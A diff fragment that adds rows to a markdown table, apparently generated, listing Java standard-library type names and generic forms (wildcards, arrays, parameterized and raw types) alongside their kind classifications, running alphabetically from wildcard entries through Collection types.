+| ? extends Entry<? extends K,? extends V> | Wildcard |
+| ? extends Entry<?> | Wildcard |
+| ? extends Entry<K,V> | Wildcard |
+| ? extends Enum<?> | Wildcard |
+| ? extends F | Wildcard |
+| ? extends Field | Wildcard |
+| ? extends FieldTypeSignature | Wildcard |
+| ? extends File | Wildcard |
+| ? extends FileAttribute<?> | Wildcard |
+| ? extends FileAttributeView | Wildcard |
+| ? extends ForkJoinTask<?> | Wildcard |
+| ? extends FormalTypeParameter | Wildcard |
+| ? extends InetAddress | Wildcard |
+| ? extends IntStream | Wildcard |
+| ? extends K | Wildcard |
+| ? extends Kind<?> | Wildcard |
+| ? extends LinkOption | Wildcard |
+| ? extends Locale | Wildcard |
+| ? extends LongStream | Wildcard |
+| ? extends M | Wildcard |
+| ? extends MemberName | Wildcard |
+| ? extends Method | Wildcard |
+| ? extends MethodHandle | Wildcard |
+| ? extends MethodHandle[] | Wildcard |
+| ? extends MethodType | Wildcard |
+| ? extends Modifier | Wildcard |
+| ? extends ModuleFinder | Wildcard |
+| ? extends Name | Wildcard |
+| ? extends Node<K,V> | Wildcard |
+| ? extends Object | Wildcard |
+| ? extends ObjectStreamField | Wildcard |
+| ? extends OpenOption | Wildcard |
+| ? extends Optional<? extends T> | Wildcard |
+| ? extends Optional<? extends U> | Wildcard |
+| ? extends Package | Wildcard |
+| ? extends Parameter | Wildcard |
+| ? extends Path | Wildcard |
+| ? extends Permission | Wildcard |
+| ? extends Principal | Wildcard |
+| ? extends ProtectionDomain | Wildcard |
+| ? extends R | Wildcard |
+| ? extends RecordComponent | Wildcard |
+| ? extends S | Wildcard |
+| ? extends SoftReference<LambdaForm> | Wildcard |
+| ? extends SoftReference<MethodHandle> | Wildcard |
+| ? extends StackTraceElement | Wildcard |
+| ? extends Stream<? extends R> | Wildcard |
+| ? extends String | Wildcard |
+| ? extends T | Wildcard |
+| ? extends TemporalField | Wildcard |
+| ? extends TemporalQuery<?> | Wildcard |
+| ? extends Thread | Wildcard |
+| ? extends ThreadGroup | Wildcard |
+| ? extends Throwable | Wildcard |
+| ? extends Type | Wildcard |
+| ? extends TypeArgument | Wildcard |
+| ? extends TypeSignature | Wildcard |
+| ? extends TypeVariable<?> | Wildcard |
+| ? extends TypeVariable<Class> | Wildcard |
+| ? extends TypeVariable<Constructor> | Wildcard |
+| ? extends TypeVariable<Method> | Wildcard |
+| ? extends U | Wildcard |
+| ? extends V | Wildcard |
+| ? extends VM | Wildcard |
+| ? extends WeakReference<Class<?>> | Wildcard |
+| ? extends WorkQueue | Wildcard |
+| ? extends X | Wildcard |
+| ? super A | Wildcard |
+| ? super Consumer<R> | Wildcard |
+| ? super Double | Wildcard |
+| ? super DoubleConsumer | Wildcard |
+| ? super E | Wildcard |
+| ? super Entry<K,V> | Wildcard |
+| ? super ForkJoinPool | Wildcard |
+| ? super ForkJoinTask<?> | Wildcard |
+| ? super IntConsumer | Wildcard |
+| ? super Integer | Wildcard |
+| ? super K | Wildcard |
+| ? super Long | Wildcard |
+| ? super LongConsumer | Wildcard |
+| ? super Object | Wildcard |
+| ? super Path | Wildcard |
+| ? super R | Wildcard |
+| ? super Reference<? extends T> | Wildcard |
+| ? super StackFrame | Wildcard |
+| ? super Stream<StackFrame> | Wildcard |
+| ? super String | Wildcard |
+| ? super T | Wildcard |
+| ? super U | Wildcard |
+| ? super V | Wildcard |
+| A | TypeVariable |
+| A[] | Array |
+| AbstractChronology | Class |
+| AbstractCollection | Class, GenericType, ParameterizedType |
+| AbstractCollection<> | Class, RawType |
+| AbstractCollection<E> | Class, ParameterizedType |
+| AbstractCollection<Option> | Class, ParameterizedType |
+| AbstractExecutorService | Class |
+| AbstractInterruptibleChannel | Class |
+| AbstractMap | Class, GenericType, ParameterizedType |
+| AbstractMap<> | Class, RawType |
+| AbstractMap<?,?> | Class, ParameterizedType |
+| AbstractMap<Identity,Entry<?>> | Class, ParameterizedType |
+| AbstractMap<K,V> | Class, ParameterizedType |
+| AbstractMap<MemberName,DirectMethodHandle> | Class, ParameterizedType |
+| AbstractOwnableSynchronizer | Class |
+| AbstractQueuedSynchronizer | Class |
+| AbstractRepository | Class, GenericType, ParameterizedType |
+| AbstractRepository<MethodTypeSignature> | Class, ParameterizedType |
+| AbstractRepository<S> | Class, ParameterizedType |
+| AbstractSet | Class, GenericType, ParameterizedType |
+| AbstractSet<> | Class, RawType |
+| AbstractSet<E> | Class, ParameterizedType |
+| AbstractSet<Option> | Class, ParameterizedType |
+| AbstractStringBuilder | Class |
+| AccessControlContext | Class |
+| AccessDescriptor | Class |
+| AccessMode | Class |
+| AccessMode[] | Array |
+| AccessType | Class |
+| AccessType[] | Array |
+| AccessibleObject | Class |
+| AccessibleObject[] | Array |
+| Accessor | Class |
+| AdaptedCallable | Class, GenericType, ParameterizedType |
+| AdaptedInterruptibleCallable | Class, GenericType, ParameterizedType |
+| AdaptedRunnable | Class, GenericType, ParameterizedType |
+| AdaptedRunnableAction | Class |
+| AnnotatedElement | Interface |
+| AnnotatedType | Interface |
+| AnnotatedType[] | Array |
+| Annotation | Interface |
+| AnnotationType | Class |
+| Annotation[] | Array |
+| Annotation[][] | Array |
+| Any | Class |
+| Appendable | Interface |
+| ArbitrarilyJumpableGenerator | Interface |
+| Array | Class, GenericType, ParameterizedType |
+| Array<? extends A> | Class, ParameterizedType |
+| Array<? extends AccessMode> | Class, ParameterizedType |
+| Array<? extends AccessibleObject> | Class, ParameterizedType |
+| Array<? extends AnnotatedType> | Class, ParameterizedType |
+| Array<? extends Annotation> | Class, ParameterizedType |
+| Array<? extends Annotation[]> | Class, ParameterizedType |
+| Array<? extends AttributedCharacterIterator> | Class, ParameterizedType |
+| Array<? extends BaseLocale> | Class, ParameterizedType |
+| Array<? extends BasicType> | Class, ParameterizedType |
+| Array<? extends BigInteger> | Class, ParameterizedType |
+| Array<? extends ByteBuffer> | Class, ParameterizedType |
+| Array<? extends Certificate> | Class, ParameterizedType |
+| Array<? extends CharSequence> | Class, ParameterizedType |
+| Array<? extends Characteristics> | Class, ParameterizedType |
+| Array<? extends Class<>> | Class, ParameterizedType |
+| Array<? extends Class<?>> | Class, ParameterizedType |
+| Array<? extends ClassDataSlot> | Class, ParameterizedType |
+| Array<? extends ClassDesc> | Class, ParameterizedType |
+| Array<? extends ClassOption> | Class, ParameterizedType |
+| Array<? extends ClassTypeSignature> | Class, ParameterizedType |
+| Array<? extends CodeSigner> | Class, ParameterizedType |
+| Array<? extends ConstantDesc> | Class, ParameterizedType |
+| Array<? extends Constructor<?>> | Class, ParameterizedType |
+| Array<? extends CopyOption> | Class, ParameterizedType |
+| Array<? extends DateTimePrinterParser> | Class, ParameterizedType |
+| Array<? extends E> | Class, ParameterizedType |
+| Array<? extends Entry<? extends K,? extends V>> | Class, ParameterizedType |
+| Array<? extends Entry<?>> | Class, ParameterizedType |
+| Array<? extends Entry<K,V>> | Class, ParameterizedType |
+| Array<? extends Enum<?>> | Class, ParameterizedType |
+| Array<? extends F> | Class, ParameterizedType |
+| Array<? extends Field> | Class, ParameterizedType |
+| Array<? extends FieldTypeSignature> | Class, ParameterizedType |
+| Array<? extends File> | Class, ParameterizedType |
+| Array<? extends FileAttribute<?>> | Class, ParameterizedType |
+| Array<? extends ForkJoinTask<?>> | Class, ParameterizedType |
+| Array<? extends FormalTypeParameter> | Class, ParameterizedType |
+| Array<? extends InetAddress> | Class, ParameterizedType |
+| Array<? extends Kind<?>> | Class, ParameterizedType |
+| Array<? extends LinkOption> | Class, ParameterizedType |
+| Array<? extends Locale> | Class, ParameterizedType |
+| Array<? extends MemberName> | Class, ParameterizedType |
+| Array<? extends Method> | Class, ParameterizedType |
+| Array<? extends MethodHandle> | Class, ParameterizedType |
+| Array<? extends MethodHandle[]> | Class, ParameterizedType |
+| Array<? extends MethodType> | Class, ParameterizedType |
+| Array<? extends Modifier> | Class, ParameterizedType |
+| Array<? extends ModuleFinder> | Class, ParameterizedType |
+| Array<? extends Name> | Class, ParameterizedType |
+| Array<? extends Node<K,V>> | Class, ParameterizedType |
+| Array<? extends Object> | Class, ParameterizedType |
+| Array<? extends ObjectStreamField> | Class, ParameterizedType |
+| Array<? extends OpenOption> | Class, ParameterizedType |
+| Array<? extends Package> | Class, ParameterizedType |
+| Array<? extends Parameter> | Class, ParameterizedType |
+| Array<? extends Path> | Class, ParameterizedType |
+| Array<? extends Permission> | Class, ParameterizedType |
+| Array<? extends Principal> | Class, ParameterizedType |
+| Array<? extends ProtectionDomain> | Class, ParameterizedType |
+| Array<? extends RecordComponent> | Class, ParameterizedType |
+| Array<? extends SoftReference<LambdaForm>> | Class, ParameterizedType |
+| Array<? extends SoftReference<MethodHandle>> | Class, ParameterizedType |
+| Array<? extends StackTraceElement> | Class, ParameterizedType |
+| Array<? extends String> | Class, ParameterizedType |
+| Array<? extends T> | Class, ParameterizedType |
+| Array<? extends TemporalField> | Class, ParameterizedType |
+| Array<? extends TemporalQuery<?>> | Class, ParameterizedType |
+| Array<? extends Thread> | Class, ParameterizedType |
+| Array<? extends ThreadGroup> | Class, ParameterizedType |
+| Array<? extends Throwable> | Class, ParameterizedType |
+| Array<? extends Type> | Class, ParameterizedType |
+| Array<? extends TypeArgument> | Class, ParameterizedType |
+| Array<? extends TypeSignature> | Class, ParameterizedType |
+| Array<? extends TypeVariable<?>> | Class, ParameterizedType |
+| Array<? extends TypeVariable<Class>> | Class, ParameterizedType |
+| Array<? extends TypeVariable<Constructor>> | Class, ParameterizedType |
+| Array<? extends TypeVariable<Method>> | Class, ParameterizedType |
+| Array<? extends WorkQueue> | Class, ParameterizedType |
+| Array<A> | Class, ParameterizedType |
+| Array<AccessMode> | Class, ParameterizedType |
+| Array<AccessType> | Class, ParameterizedType |
+| Array<AccessibleObject> | Class, ParameterizedType |
+| Array<AnnotatedType> | Class, ParameterizedType |
+| Array<Annotation> | Class, ParameterizedType |
+| Array<Annotation[]> | Class, ParameterizedType |
+| Array<ArrayAccess> | Class, ParameterizedType |
+| Array<AttributedCharacterIterator> | Class, ParameterizedType |
+| Array<BaseLocale> | Class, ParameterizedType |
+| Array<BasicType> | Class, ParameterizedType |
+| Array<BigInteger> | Class, ParameterizedType |
+| Array<ByteBuffer> | Class, ParameterizedType |
+| Array<Category> | Class, ParameterizedType |
+| Array<Certificate> | Class, ParameterizedType |
+| Array<CharSequence> | Class, ParameterizedType |
+| Array<Characteristics> | Class, ParameterizedType |
+| Array<ChronoField> | Class, ParameterizedType |
+| Array<ChronoUnit> | Class, ParameterizedType |
+| Array<Class<>> | Class, ParameterizedType |
+| Array<Class<?>> | Class, ParameterizedType |
+| Array<ClassDataSlot> | Class, ParameterizedType |
+| Array<ClassDesc> | Class, ParameterizedType |
+| Array<ClassOption> | Class, ParameterizedType |
+| Array<ClassTypeSignature> | Class, ParameterizedType |
+| Array<CodeSigner> | Class, ParameterizedType |
+| Array<ConstantDesc> | Class, ParameterizedType |
+| Array<Constructor<>> | Class, ParameterizedType |
+| Array<Constructor<?>> | Class, ParameterizedType |
+| Array<CopyOption> | Class, ParameterizedType |
+| Array<DateTimePrinterParser> | Class, ParameterizedType |
+| Array<DayOfWeek> | Class, ParameterizedType |
+| Array<E> | Class, ParameterizedType |
+| Array<Entry<>> | Class, ParameterizedType |
+| Array<Entry<? extends K,? extends V>> | Class, ParameterizedType |
+| Array<Entry<?>> | Class, ParameterizedType |
+| Array<Entry<K,V>> | Class, ParameterizedType |
+| Array<Enum<>> | Class, ParameterizedType |
+| Array<Enum<?>> | Class, ParameterizedType |
+| Array<ExtendedOption> | Class, ParameterizedType |
+| Array<F> | Class, ParameterizedType |
+| Array<Field> | Class, ParameterizedType |
+| Array<FieldTypeSignature> | Class, ParameterizedType |
+| Array<File> | Class, ParameterizedType |
+| Array<FileAttribute<?>> | Class, ParameterizedType |
+| Array<FilteringMode> | Class, ParameterizedType |
+| Array<ForkJoinTask<?>> | Class, ParameterizedType |
+| Array<FormalTypeParameter> | Class, ParameterizedType |
+| Array<FormatStyle> | Class, ParameterizedType |
+| Array<InetAddress> | Class, ParameterizedType |
+| Array<Intrinsic> | Class, ParameterizedType |
+| Array<IsoCountryCode> | Class, ParameterizedType |
+| Array<IsoEra> | Class, ParameterizedType |
+| Array<Kind<?>> | Class, ParameterizedType |
+| Array<Kind> | Class, ParameterizedType |
+| Array<LinkOption> | Class, ParameterizedType |
+| Array<Locale> | Class, ParameterizedType |
+| Array<MemberName> | Class, ParameterizedType |
+| Array<Method> | Class, ParameterizedType |
+| Array<MethodHandle> | Class, ParameterizedType |
+| Array<MethodHandle[]> | Class, ParameterizedType |
+| Array<MethodType> | Class, ParameterizedType |
+| Array<Modifier> | Class, ParameterizedType |
+| Array<ModuleFinder> | Class, ParameterizedType |
+| Array<Month> | Class, ParameterizedType |
+| Array<Name> | Class, ParameterizedType |
+| Array<Node<>> | Class, ParameterizedType |
+| Array<Node<K,V>> | Class, ParameterizedType |
+| Array<Object> | Class, ParameterizedType |
+| Array<ObjectStreamField> | Class, ParameterizedType |
+| Array<OfField<>> | Class, ParameterizedType |
+| Array<OpenOption> | Class, ParameterizedType |
+| Array<Option> | Class, ParameterizedType |
+| Array<Package> | Class, ParameterizedType |
+| Array<Parameter> | Class, ParameterizedType |
+| Array<Path> | Class, ParameterizedType |
+| Array<Permission> | Class, ParameterizedType |
+| Array<Principal> | Class, ParameterizedType |
+| Array<ProtectionDomain> | Class, ParameterizedType |
+| Array<RecordComponent> | Class, ParameterizedType |
+| Array<ResolverStyle> | Class, ParameterizedType |
+| Array<RetentionPolicy> | Class, ParameterizedType |
+| Array<SettingsParser> | Class, ParameterizedType |
+| Array<SignStyle> | Class, ParameterizedType |
+| Array<SoftReference<LambdaForm>> | Class, ParameterizedType |
+| Array<SoftReference<MethodHandle>> | Class, ParameterizedType |
+| Array<StackTraceElement> | Class, ParameterizedType |
+| Array<State> | Class, ParameterizedType |
+| Array<Status> | Class, ParameterizedType |
+| Array<String> | Class, ParameterizedType |
+| Array<T> | Class, ParameterizedType |
+| Array<Tag> | Class, ParameterizedType |
+| Array<TemporalField> | Class, ParameterizedType |
+| Array<TemporalQuery<?>> | Class, ParameterizedType |
+| Array<TextStyle> | Class, ParameterizedType |
+| Array<Thread> | Class, ParameterizedType |
+| Array<ThreadGroup> | Class, ParameterizedType |
+| Array<Throwable> | Class, ParameterizedType |
+| Array<TimeDefinition> | Class, ParameterizedType |
+| Array<TimeUnit> | Class, ParameterizedType |
+| Array<Type> | Class, ParameterizedType |
+| Array<TypeArgument> | Class, ParameterizedType |
+| Array<TypeSignature> | Class, ParameterizedType |
+| Array<TypeVariable<>> | Class, ParameterizedType |
+| Array<TypeVariable<?>> | Class, ParameterizedType |
+| Array<TypeVariable<Class>> | Class, ParameterizedType |
+| Array<TypeVariable<Constructor>> | Class, ParameterizedType |
+| Array<TypeVariable<Method>> | Class, ParameterizedType |
+| Array<UnicodeScript> | Class, ParameterizedType |
+| Array<WorkQueue> | Class, ParameterizedType |
+| Array<Wrapper> | Class, ParameterizedType |
+| ArrayAccess | Class |
+| ArrayAccess[] | Array |
+| ArrayAccessor | Class |
+| ArrayIndexOutOfBoundsException | Class |
+| ArrayTypeSignature | Class |
+| AsynchronousChannel | Interface |
+| AsynchronousFileChannel | Class |
+| AtomicInteger | Class |
+| AtomicReference | Class, GenericType, ParameterizedType |
+| AtomicReference<U> | Class, ParameterizedType |
+| Attribute | Class |
+| AttributeView | Interface |
+| AttributedCharacterIterator | Interface |
+| AttributedCharacterIterator[] | Array |
+| AuthPermission | Class |
+| AuthPermissionHolder | Class |
+| AutoCloseable | Interface |
+| Aux | Class |
+| BaseIterator | Class, GenericType, ParameterizedType |
+| BaseIterator<K,V> | Class, ParameterizedType |
+| BaseLocale | Class |
+| BaseLocale[] | Array |
+| BaseStream | GenericType, Interface, ParameterizedType |
+| BaseStream<> | Interface, RawType |
+| BaseStream<? extends R,Stream<? extends R>> | Interface, ParameterizedType |
+| BaseStream<? extends T,Stream<? extends T>> | Interface, ParameterizedType |
+| BaseStream<ArbitrarilyJumpableGenerator,Stream<ArbitrarilyJumpableGenerator>> | Interface, ParameterizedType |
+| BaseStream<Configuration,Stream<Configuration>> | Interface, ParameterizedType |
+| BaseStream<Double,DoubleStream> | Interface, ParameterizedType |
+| BaseStream<Double,Stream<Double>> | Interface, ParameterizedType |
+| BaseStream<E,Stream<E>> | Interface, ParameterizedType |
+| BaseStream<InetAddress,Stream<InetAddress>> | Interface, ParameterizedType |
+| BaseStream<Integer,IntStream> | Interface, ParameterizedType |
+| BaseStream<Integer,Stream<Integer>> | Interface, ParameterizedType |
+| BaseStream<JumpableGenerator,Stream<JumpableGenerator>> | Interface, ParameterizedType |
+| BaseStream<LocalDate,Stream<LocalDate>> | Interface, ParameterizedType |
+| BaseStream<Long,LongStream> | Interface, ParameterizedType |
+| BaseStream<Long,Stream<Long>> | Interface, ParameterizedType |
+| BaseStream<ModuleLayer,Stream<ModuleLayer>> | Interface, ParameterizedType |
+| BaseStream<NetworkInterface,Stream<NetworkInterface>> | Interface, ParameterizedType |
+| BaseStream<Package,Stream<Package>> | Interface, ParameterizedType |
+| BaseStream<Permission,Stream<Permission>> | Interface, ParameterizedType |
+| BaseStream<R,Stream<R>> | Interface, ParameterizedType |
+| BaseStream<RandomGenerator,Stream<RandomGenerator>> | Interface, ParameterizedType |
+| BaseStream<SplittableGenerator,Stream<SplittableGenerator>> | Interface, ParameterizedType |
+| BaseStream<StackFrame,Stream<StackFrame>> | Interface, ParameterizedType |
+| BaseStream<String,Stream<String>> | Interface, ParameterizedType |
+| BaseStream<T,Stream<T>> | Interface, ParameterizedType |
+| BaseStream<T,Stream> | Interface, ParameterizedType |
+| BaseStream<U,Stream<U>> | Interface, ParameterizedType |
+| BaseStream<URL,Stream<URL>> | Interface, ParameterizedType |
+| BaseType | Interface |
+| BasicFileAttributes | Interface |
+| BasicPermission | Class |
+| BasicType | Class |
+| BasicType[] | Array |
+| BiConsumer | GenericType, Interface, ParameterizedType |
+| BiConsumer<> | Interface, RawType |
+| BiConsumer<? super K,? super V> | Interface, ParameterizedType |
+| BiConsumer<? super Object,? super Object> | Interface, ParameterizedType |
+| BiConsumer<? super T,? super Consumer<R>> | Interface, ParameterizedType |
+| BiConsumer<? super T,? super DoubleConsumer> | Interface, ParameterizedType |
+| BiConsumer<? super T,? super IntConsumer> | Interface, ParameterizedType |
+| BiConsumer<? super T,? super LongConsumer> | Interface, ParameterizedType |
+| BiConsumer<? super T,? super U> | Interface, ParameterizedType |
+| BiConsumer<A,T> | Interface, ParameterizedType |
+| BiConsumer<R,? super T> | Interface, ParameterizedType |
+| BiConsumer<R,R> | Interface, ParameterizedType |
+| BiConsumer<R,T> | Interface, ParameterizedType |
+| BiFunction | GenericType, Interface, ParameterizedType |
+| BiFunction<> | Interface, RawType |
+| BiFunction<? super K,? super K,? extends K> | Interface, ParameterizedType |
+| BiFunction<? super K,? super V,? extends U> | Interface, ParameterizedType |
+| BiFunction<? super K,? super V,? extends V> | Interface, ParameterizedType |
+| BiFunction<? super Object,? super Object,? extends Object> | Interface, ParameterizedType |
+| BiFunction<? super Object,? super Object,?> | Interface, ParameterizedType |
+| BiFunction<? super U,? super U,? extends U> | Interface, ParameterizedType |
+| BiFunction<? super V,? super V,? extends V> | Interface, ParameterizedType |
+| BiFunction<A,A,A> | Interface, ParameterizedType |
+| BiFunction<Entry<K,V>,Entry<K,V>,? extends Entry<K,V>> | Interface, ParameterizedType |
+| BiFunction<ObjectInputFilter,ObjectInputFilter,ObjectInputFilter> | Interface, ParameterizedType |
+| BiFunction<R,R,R> | Interface, ParameterizedType |
+| BiFunction<String,List<Number>,ArrayIndexOutOfBoundsException> | Interface, ParameterizedType |
+| BiFunction<T,T,T> | Interface, ParameterizedType |
+| BiFunction<T,U,V> | Interface, ParameterizedType |
+| BiFunction<U,? super T,U> | Interface, ParameterizedType |
+| BiFunction<U,U,U> | Interface, ParameterizedType |
+| BiFunction<V,V,V> | Interface, ParameterizedType |
+| BiFunction<VM,VM,Boolean> | Interface, ParameterizedType |
+| BiFunction<VM,VM,VM> | Interface, ParameterizedType |
+| BigInteger | Class |
+| BigInteger[] | Array |
+| BinaryOperator | GenericType, Interface, ParameterizedType |
+| BinaryOperator<> | Interface, RawType |
+| BinaryOperator<A> | Interface, ParameterizedType |
+| BinaryOperator<ObjectInputFilter> | Interface, ParameterizedType |
+| BinaryOperator<R> | Interface, ParameterizedType |
+| BinaryOperator<T> | Interface, ParameterizedType |
+| BinaryOperator<U> | Interface, ParameterizedType |
+| BinaryOperator<V> | Interface, ParameterizedType |
+| Boolean | Class |
+| BooleanArray | Class |
+| BooleanCompanionObject | Class |
+| BooleanIterator | Class |
+| BooleanSignature | Class |
+| BottomSignature | Class |
+| BoundMethodHandle | Class |
+| BroadcastOperation | GenericType, Interface, ParameterizedType |
+| BroadcastOperation<> | Interface, RawType |
+| BroadcastOperation<VM,E,S> | Interface, ParameterizedType |
+| Buffer | Class |
+| BufferAccess | Class |
+| BufferPool | Interface |
+| Builder | Class |
+| Builder | GenericType, Interface, ParameterizedType |
+| Builder | Interface |
+| Builder<> | Interface, RawType |
+| Builder<T> | Interface, ParameterizedType |
+| BulkTask | Class, GenericType, ParameterizedType |
+| BulkTask<K,V,?> | Class, ParameterizedType |
+| BulkTask<K,V,Double> | Class, ParameterizedType |
+| BulkTask<K,V,Entry<K,V>> | Class, ParameterizedType |
+| BulkTask<K,V,Integer> | Class, ParameterizedType |
+| BulkTask<K,V,K> | Class, ParameterizedType |
+| BulkTask<K,V,Long> | Class, ParameterizedType |
+| BulkTask<K,V,U> | Class, ParameterizedType |
+| BulkTask<K,V,V> | Class, ParameterizedType |
+| BulkTask<K,V,Void> | Class, ParameterizedType |
+| Byte | Class |
+| ByteArray | Class |
+| ByteBuffer | Class |
+| ByteBuffer[] | Array |
+| ByteChannel | Interface |
+| ByteCompanionObject | Class |
+| ByteIterator | Class |
+| ByteOrder | Class |
+| ByteSignature | Class |
+| C | TypeVariable |
+| CallSite | Class |
+| Callable | GenericType, Interface, ParameterizedType |
+| Callable<> | Interface, RawType |
+| Callable<? extends T> | Interface, ParameterizedType |
+| Callable<E> | Interface, ParameterizedType |
+| Callable<T> | Interface, ParameterizedType |
+| CaseInsensitiveChar | Class |
+| CaseInsensitiveString | Class |
+| CasesHolder | Class |
+| Category | Class |
+| Category[] | Array |
+| CertPath | Class |
+| CertPathRep | Class |
+| Certificate | Class |
+| CertificateRep | Class |
+| Certificate[] | Array |
+| Channel | Interface |
+| Char | Class |
+| CharArray | Class |
+| CharBuffer | Class |
+| CharCompanionObject | Class |
+| CharIterator | Class |
+| CharLiteralPrinterParser | Class |
+| CharProgression | Class |
+| CharRange | Class |
+| CharSequence | Interface |
+| CharSequence[] | Array |
+| CharSignature | Class |
+| Character | Class |
+| CharacterIterator | Interface |
+| Characteristics | Class |
+| Characteristics[] | Array |
+| Charset | Class |
+| CharsetDecoder | Class |
+| CharsetEncoder | Class |
+| ChronoField | Class |
+| ChronoField[] | Array |
+| ChronoLocalDate | Interface |
+| ChronoLocalDateTime | GenericType, Interface, ParameterizedType |
+| ChronoLocalDateTime<> | Interface, RawType |
+| ChronoLocalDateTime<? extends ChronoLocalDate> | Interface, ParameterizedType |
+| ChronoLocalDateTime<?> | Interface, ParameterizedType |
+| ChronoLocalDateTime<D> | Interface, ParameterizedType |
+| ChronoLocalDateTime<LocalDate> | Interface, ParameterizedType |
+| ChronoPeriod | Interface |
+| ChronoPrinterParser | Class |
+| ChronoUnit | Class |
+| ChronoUnit[] | Array |
+| ChronoZonedDateTime | GenericType, Interface, ParameterizedType |
+| ChronoZonedDateTime<> | Interface, RawType |
+| ChronoZonedDateTime<? extends ChronoLocalDate> | Interface, ParameterizedType |
+| ChronoZonedDateTime<?> | Interface, ParameterizedType |
+| ChronoZonedDateTime<D> | Interface, ParameterizedType |
+| ChronoZonedDateTime<LocalDate> | Interface, ParameterizedType |
+| Chronology | Interface |
+| Class | Class, GenericType, ParameterizedType |
+| Class<> | Class, RawType |
+| Class<>[] | Array |
+| Class<? extends Annotation> | Class, ParameterizedType |
+| Class<? extends FileAttributeView> | Class, ParameterizedType |
+| Class<? extends M> | Class, ParameterizedType |
+| Class<? extends T> | Class, ParameterizedType |
+| Class<? extends Throwable> | Class, ParameterizedType |
+| Class<? extends U> | Class, ParameterizedType |
+| Class<? extends V> | Class, ParameterizedType |
+| Class<? extends VM> | Class, ParameterizedType |
+| Class<? super T> | Class, ParameterizedType |
+| Class<?> | Class, ParameterizedType |
+| Class<?>[] | Array |
+| Class<A> | Class, ParameterizedType |
+| Class<Boolean> | Class, ParameterizedType |
+| Class<Byte> | Class, ParameterizedType |
+| Class<Character> | Class, ParameterizedType |
+| Class<Double> | Class, ParameterizedType |
+| Class<E> | Class, ParameterizedType |
+| Class<Float> | Class, ParameterizedType |
+| Class<Integer> | Class, ParameterizedType |
+| Class<K> | Class, ParameterizedType |
+| Class<Long> | Class, ParameterizedType |
+| Class<M> | Class, ParameterizedType |
+| Class<NoSuchMemberException> | Class, ParameterizedType |
+| Class<S> | Class, ParameterizedType |
+| Class<Sh> | Class, ParameterizedType |
+| Class<Short> | Class, ParameterizedType |
+| Class<T> | Class, ParameterizedType |
+| Class<U> | Class, ParameterizedType |
+| Class<V> | Class, ParameterizedType |
+| Class<Void> | Class, ParameterizedType |
+| ClassDataSlot | Class |
+| ClassDataSlot[] | Array |
+| ClassDefiner | Class |
+| ClassDesc | Interface |
+| ClassDesc[] | Array |
+| ClassFile | Class |
+| ClassLoader | Class |
+| ClassNotFoundException | Class |
+| ClassOption | Class |
+| ClassOption[] | Array |
+| ClassSignature | Class |
+| ClassSpecializer | Class, GenericType, ParameterizedType |
+| ClassSpecializer<> | Class, RawType |
+| ClassSpecializer<BoundMethodHandle,String,SpeciesData> | Class, ParameterizedType |
+| ClassTypeSignature | Class |
+| ClassTypeSignature[] | Array |
+| ClassValue | Class, GenericType, ParameterizedType |
+| ClassValue<> | Class, RawType |
+| ClassValue<?> | Class, ParameterizedType |
+| ClassValue<MethodHandle[]> | Class, ParameterizedType |
+| ClassValue<T> | Class, ParameterizedType |
+| ClassValueMap | Class |
+| ClassicFormat | Class |
+| Cleanable | Interface |
+| Cleaner | Class |
+| CleanerCleanable | Class |
+| CleanerImpl | Class |
+| Clock | Class |
+| Cloneable | Interface |
+| Closeable | Interface |
+| ClosedRange | GenericType, Interface, ParameterizedType |
+| ClosedRange<Character> | Interface, ParameterizedType |
+| ClosedRange<Integer> | Interface, ParameterizedType |
+| ClosedRange<Long> | Interface, ParameterizedType |
+| CodeSigner | Class |
+| CodeSigner[] | Array |
+| CodeSource | Class |
+| CoderResult | Class |
+| CodingErrorAction | Class |
+| Collection | GenericType, Interface, ParameterizedType |
+| Collection<> | Interface, RawType |
+| Collection<? extends Attribute> | Interface, ParameterizedType |
+| Collection<? extends Callable<T>> | Interface, ParameterizedType |
+| Collection<? extends Certificate> | Interface, ParameterizedType |
+| Collection<? extends E> | Interface, ParameterizedType |
+| Collection<? extends OpenOption> | Interface, ParameterizedType |
+| Collection<? extends Principal> | Interface, ParameterizedType |
+| Collection<? super ForkJoinTask<?>> | Interface, ParameterizedType |
+| Collection<?> | Interface, ParameterizedType |
+| Collection<Attribute> | Interface, ParameterizedType |
+| Collection<BufferPool> | Interface, ParameterizedType |
+| Collection<CaseInsensitiveString> | Interface, ParameterizedType |
+| Collection<Character> | Interface, ParameterizedType |
+| Collection<Characteristics> | Interface, ParameterizedType |
+| Collection<Chronology> | Interface, ParameterizedType |
+| Collection<Class<?>> | Interface, ParameterizedType |
+| Collection<ClassDesc> | Interface, ParameterizedType |
+| Collection<ClassOption> | Interface, ParameterizedType |
+| Collection<Configuration> | Interface, ParameterizedType |
+| Collection<ConstantDesc> | Interface, ParameterizedType |
+| Collection<DateTimePrinterParser> | Interface, ParameterizedType |
+| Collection<E> | Interface, ParameterizedType |
+| Collection<Entry<K,V>> | Interface, ParameterizedType |
+| Collection<Entry<Object,Object>> | Interface, ParameterizedType |
+| Collection<Era> | Interface, ParameterizedType |
+| Collection<Exports> | Interface, ParameterizedType |
+| Collection<F> | Interface, ParameterizedType |
+| Collection<FileSystemProvider> | Interface, ParameterizedType |
+| Collection<Future<T>> | Interface, ParameterizedType |
+| Collection<InterfaceAddress> | Interface, ParameterizedType |
+| Collection<K> | Interface, ParameterizedType |
+| Collection<LanguageRange> | Interface, ParameterizedType |
+| Collection<Locale> | Interface, ParameterizedType |
+| Collection<MemberName> | Interface, ParameterizedType |
+| Collection<Method> | Interface, ParameterizedType |
+| Collection<MethodHandle> | Interface, ParameterizedType |
+| Collection<Modifier> | Interface, ParameterizedType |
+| Collection<Module> | Interface, ParameterizedType |
+| Collection<ModuleDescriptor> | Interface, ParameterizedType |
+| Collection<ModuleLayer> | Interface, ParameterizedType |
+| Collection<ModuleReference> | Interface, ParameterizedType |
+| Collection<NamedFunction> | Interface, ParameterizedType |
+| Collection<Number> | Interface, ParameterizedType |
+| Collection<Object> | Interface, ParameterizedType |
+| Collection<Opens> | Interface, ParameterizedType |
+| Collection<Option> | Interface, ParameterizedType |
+| Collection<Principal> | Interface, ParameterizedType |
+| Collection<Provides> | Interface, ParameterizedType |
+| Collection<Requires> | Interface, ParameterizedType |
+| Collection<ResolvedModule> | Interface, ParameterizedType |
+| Collection<Runnable> | Interface, ParameterizedType |
+| Collection<Service> | Interface, ParameterizedType |
+| Collection<ServiceProvider> | Interface, ParameterizedType |
+| Collection<SimpleClassTypeSignature> | Interface, ParameterizedType |
+| Collection<String> | Interface, ParameterizedType |
+| Collection<T> | Interface, ParameterizedType |
